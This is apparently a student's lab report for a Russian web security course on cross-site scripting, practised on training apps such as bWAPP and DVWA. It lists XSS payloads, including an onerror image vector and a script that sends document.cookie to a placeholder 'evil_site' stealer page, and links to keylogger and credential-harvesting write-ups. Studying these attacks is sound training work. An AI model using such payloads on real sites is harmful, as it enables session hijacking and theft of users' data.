17.08.2023

Курс:

Практическая работа к уроку № Lesson_3

--

Задание_1:

Найдите XSS на странице XSS – Reflected (GET) проекта bWAPP (уровень сложности Medium) и определите ее тип. Составьте отчет о найденной уязвимости.

- Burp Suite
- DVWA

Суть атаки заключается в том, что страница берет параметр, который ей передается пользователем в запросе, и возвращает его пользователю без каких-либо изменений в ответе. Если ответ при этом форматируется тегами (или попадает в скрипт), он будет отображен с учетом форматирования. Весь этот процесс можно считать основной сигнатурой данной атаки.
Важной особенностью данной атаки является то, что ее «сигнатура» не хранится на сервере, а «отражается» клиенту при его запросе к странице.

доделываю

Задание_2:

Продемонстрируйте страницу из задания 1 на наличие XSS вектором, который использует событие onerror. Дополните отчет найденной информацией.

Вектор атаки:

```
<img src=x onerror=alert(1)>
```

```
<script>location.href=http://evil_site/Stealer.php?
cookie='+document.cookie</script>;
```

```
<ScRiPt>alert(123);</ScRiPt>
```

```
<script>alert(123);</script>
```

доделываю

Задание_3:

(*) Попробуйте самостоятельно найти и реализовать XSS на странице XSS(DOM) проекта DVWA на высоком (High) уровне сложности.

Задание_4:

(*) Попробуйте самостоятельно активировать CSP в BM, которую мы собирали на прошлом занятии, и открыть страницу проекта Mutillidae (например, `http://192.168.56.102/mutillidae/`). Объясните, почему внешний вид страницы изменился.

Задание_5:

(*) Реализуйте XSS на странице XSS – Stored (Blog) проекта bWAPP (уровень сложности Medium) таким образом, чтобы произошел дефейс страницы при ее следующей загрузке.

Выводы:

С точки зрения злоумышленника, для эксплуатации рассмотренных выше видов XSS применяются различные сценарии, из которых можно выделить около 4-5 базовых. Реализация XSS отличается в зависимости от вида XSS и целей злоумышленника. В зависимости от целей злоумышленника и контекста уязвимости XSS вектор реализации XSS также будет различаться.
Поиск уязвимостей XSS, особенно в коде JS, – занятие сложное, поэтому злоумышленник должен сконцентрировать свое внимание на тех местах, где чаще всего встречаются определенные виды XSS. Например, в фидбеках имеет смысл искать Blind XSS (или Stored/self XSS), а в форумах и комментариях – Stored XSS.

Ссылки:

- https://officialrahultyagi.blogspot.com/2015/08/how-to-inject-keylogger-on-website-via.html – пример реализации кейлогера и того, как подсадить пользователя на кейлогер (Reflected XSS).
- https://www.perspectiverisk.com/real-world-xss-attacks-2-iframe-credential-harvesting – пример iframe для кражи пользовательских данных логин/пароль.
- https://developer.mozilla.org/ru/docs/Web/Security/Same-origin_policy – для понимания SOP.
- https://habr.com/company/nixsolutions/blog/271575/ – кратко и по делу про CSP.
- https://romka.eu/blog/vvedenie-v-content-security-policy – тоже про CSP, но более подробно.
- http://9seo.ru/content-security-policy/ – подключение CSP на примере.

- https://habr.com/company/yandex/blog/206508/ – использование CSP в почте Яндекс.
- https://habr.com/company/pentestit/blog/211494/ – рекомендации по использованию фильтров XSS.
- https://hackerone.com/reports/197337 – отчет в BugBounty об эксплуатации Blind XSS.
- https://brutelogic.com.br/blog/blind-xss-code/ – сценарий эксплуатации Blind XSS.
- https://skavans.ru/2017/11/16/%D0%BE%D1%82%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F-self-xss-%D0%B8%D0%BB%D0%B8-cors-%D0%BD%D0%B5-%D0%BF%D1%80%D0%B8%D0%B3%D0%BE%D0%B2%D0%BE%D1%80/ – эксплуатация отраженной Self XSS.

> Вся информация в данной работе представлена исключительно в ознакомительных целях! Любое использование на практике без согласования тестирования подпадает под действие УК РФ.

- https://gb.ru

Выполнил: AndreiM